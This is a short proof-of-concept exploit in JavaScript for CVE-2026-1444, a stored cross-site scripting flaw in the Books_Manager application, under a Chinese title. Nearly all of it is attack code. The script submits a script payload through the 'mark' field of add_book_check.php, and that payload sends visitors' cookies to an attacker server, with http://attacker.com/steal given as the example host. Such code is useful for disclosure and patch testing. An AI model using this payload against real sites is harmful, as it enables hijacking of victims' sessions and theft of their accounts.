CVE-2026-1444 iJason-Liu Books_Manager 存储型XSS漏洞

// CVE-2026-1444 PoC - Stored XSS in Books_Manager // Target: iJason-Liu Books_Manager add_book_check.php // Parameter: mark const axios = require('axios'); async function exploitXSS(targetUrl, attackerServer) { const xssPayload = `<script> fetch('${attackerServer}?cookie=' + document.cookie) </script>`; const exploitData = { // Modify these parameters according to the actual form fields 'mark': xssPayload, 'book_title': 'Malicious Book', 'author': 'Attacker', 'description': 'XSS Exploitation Test' }; try { const response = await axios.post( `${targetUrl}/controllers/books_center/add_book_check.php`, exploitData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'PHPSESSID=<attacker_session>' } } ); console.log('XSS Payload Submitted:', response.status); console.log('When victims view the book list, the XSS will execute'); } catch (error) { console.error('Exploitation failed:', error.message); } } // Usage // exploitXSS('http://target.com', 'http://attacker.com/steal');